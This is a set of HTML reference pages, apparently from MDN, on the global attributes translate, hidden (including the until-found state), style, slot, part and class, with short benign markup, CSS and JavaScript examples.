In this example, the `translate` attribute is used to ask translation tools not to translate the company's brand name in the footer.

```html
<footer>
  <small>© 2020 <span translate="no">BrandName</span></small>
</footer>
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-translate |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* All global attributes.
* The `HTMLElement.translate` property that reflects this attribute.
* Using HTML's translate attribute.
* HTML `lang` attribute


hidden - HTML: HyperText Markup Language

hidden
======

The **`hidden`** global attribute is an enumerated attribute indicating that the browser should not render the contents of the element. For example, it can be used to hide elements of the page that can't be used until the login process has been completed.

Try it
------

Description
-----------

The `hidden` attribute is used to indicate that the content of an element should not be presented to the user. This attribute can take any one of the following values:

* an empty string
* the keyword `hidden`
* the keyword `until-found`

There are two states associated with the `hidden` attribute: the *hidden* state and the *hidden until found* state.

* An empty string, or the keyword `hidden`, set the element to the *hidden* state. Additionally, invalid values set the element to the *hidden* state.
* The keyword `until-found` sets the element to the *hidden until found* state.

Thus, all the following set the element to the *hidden* state:

```html
<span hidden>I'm hidden</span>
<span hidden="">I'm also hidden</span>
<span hidden="hidden">I'm hidden too!</span>
```

The following sets the element to the *hidden until found* state:

```html
<span hidden="until-found">I'm hidden until found</span>
```

The `hidden` attribute must not be used to hide content just from one presentation. If something is marked hidden, it is hidden from all presentations, including, for instance, screen readers.

Hidden elements shouldn't be linked from non-hidden elements. For example, it would be incorrect to use the `href` attribute to link to a section marked with the `hidden` attribute. If the content is not applicable or relevant, then there is no reason to link to it.

It would be fine, however, to use the ARIA `aria-describedby` attribute to refer to descriptions that are themselves hidden. While hiding the descriptions implies that they are not useful on their own, they could be written in such a way that they are useful in the specific context of being referenced from the element that they describe.

Similarly, a canvas element with the `hidden` attribute could be used by a scripted graphics engine as an off-screen buffer, and a form control could refer to a hidden form element using its form attribute.

Elements that are descendants of a hidden element are still active, which means that script elements can still execute and form elements can still submit.

### The hidden state

The *hidden* state indicates that the element is not currently relevant to the page, or that it is being used to declare content for reuse by other parts of the page and should not be directly presented to the user. The browser will not render elements that are in the *hidden* state.

Web browsers may implement the *hidden* state using `display: none`, in which case the element will not participate in page layout. This also means that changing the value of the CSS `display` property on an element in the *hidden* state will override the state. For instance, elements styled `display: block` will be displayed despite the `hidden` attribute's presence.

### The hidden until found state

In the *hidden until found* state, the element is hidden but its content will be accessible to the browser's "find in page" feature or to fragment navigation. When these features cause a scroll to an element in a *hidden until found* subtree, the browser will:

* fire a `beforematch` event on the hidden element
* remove the `hidden` attribute from the element
* scroll to the element

This enables a developer to collapse a section of content, but make it searchable and accessible via fragment navigation.

Note that browsers typically implement *hidden until found* using `content-visibility: hidden`. This means that unlike elements in the *hidden* state, elements in the *hidden until found* state will have generated boxes, meaning that:

* the element will participate in page layout
* margin, borders, padding, and background for the element will be rendered.

Also, the element needs to be affected by layout containment in order to be revealed. This means that if the element in the *hidden until found* state has a `display` value of `none`, `contents`, or `inline`, then the element will not be revealed by find in page or fragment navigation.

Examples
--------

### Using until-found

In this example we have:

* Three `<div>` elements. The first and the third are not hidden, while the second has `hidden="until-found"`and `id="until-found-box"` attributes.
* A link whose target is the `"until-found-box"` fragment.

The hidden until found element has a dotted red border and a gray background.

We also have some JavaScript that listens for the `beforematch` event firing on the hidden until found element. The event handler changes the text content of the box.

#### HTML

```html
<a href="#until-found-box">Go to hidden content</a>

<div>I'm not hidden</div>
<div id="until-found-box" hidden="until-found">Hidden until found</div>
<div>I'm not hidden</div>
```

```
<button id="reset">Reset</button>
```

#### CSS

```css
div {
  height: 40px;
  width: 300px;
  border: 5px dashed black;
  margin: 1rem 0;
  padding: 1rem;
  font-size: 2rem;
}

div#until-found-box {
  color: red;
  border: 5px dotted red;
  background-color: lightgray;
}
```

```
#until-found-box {
  scroll-margin-top: 200px;
}
```

#### JavaScript

```js
const untilFound = document.querySelector("#until-found-box");
untilFound.addEventListener(
  "beforematch",
  () => (untilFound.textContent = "I've been revealed!"),
);
```

```
document.querySelector("#reset").addEventListener("click", () => {
  document.location.hash = "";
  document.location.reload();
});
```

#### Result

Note that although the content of the element is hidden, the element still has a generated box, occupying space in the layout and with background and borders rendered.

Clicking the "Go to hidden content" button navigates to the hidden until found element. The `beforematch` event fires, the text content is updated, and the element content is displayed.

To run the example again, click "Reset".

Specifications
--------------

| Specification |
| --- |
| HTML Standard # the-hidden-attribute |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.hidden`
* All global attributes
* The `aria-hidden` attribute
* The `beforematch` event


style - HTML: HyperText Markup Language

style
=====

The **`style`** global attribute contains CSS styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the `<style>` element have mainly the purpose of allowing for quick styling, for example for testing purposes.

Try it
------

**Note:** This attribute must not be used to convey semantic information. Even if all styling is removed, a page should remain semantically correct. Typically it shouldn't be used to hide irrelevant information; this should be done using the `hidden` attribute.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # the-style-attribute |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

All global attributes.


slot - HTML: HyperText Markup Language

slot
====

The **`slot`** global attribute assigns a slot in a shadow DOM shadow tree to an element: An element with a `slot` attribute is assigned to the slot created by the `<slot>` element whose `name` attribute's value matches that `slot` attribute's value.

For examples, see our Using templates and slots guide.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-slot |
| DOM Standard # ref-for-dom-element-slot① |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* HTML global attributes
* HTML `<slot>` element
* HTML `<template>` element
* CSS `::slotted` pseudo-element
* CSS scoping module
* Web components


part - HTML: HyperText Markup Language

part
====

The **`part`** global attribute contains a space-separated list of the part names of the element. Part names allows CSS to select and style specific elements in a shadow tree via the `::part` pseudo-element.

See the `exportparts` attribute for a usage example.

Specifications
--------------

| Specification |
| --- |
| CSS Shadow Parts # part-attr |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `exportparts` HTML attribute
* `<template>` and `<slot>` HTML elements
* `::part` and `::slotted` CSS pseudo-elements
* `ShadowRoot` interface
* `Element.part` property
* Using templates and slots
* CSS scoping module


class - HTML: HyperText Markup Language

class
=====

The **`class`** global attribute is a space-separated list of the case-sensitive classes of the element. Classes allow CSS and JavaScript to select and access specific elements via the class selectors or functions like the DOM method `document.getElementsByClassName`.

Try it
------

Though the specification doesn't put requirements on the name of classes, web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. For example, *attribute* to describe an attribute rather than *italics*, although an element of this class may be presented by *italics*. Semantic names remain logical even if the presentation of the page changes.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # global-attributes:classes-2 |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* All global attributes.
* `element.className`
* `element.classList`
* Introduction to CSS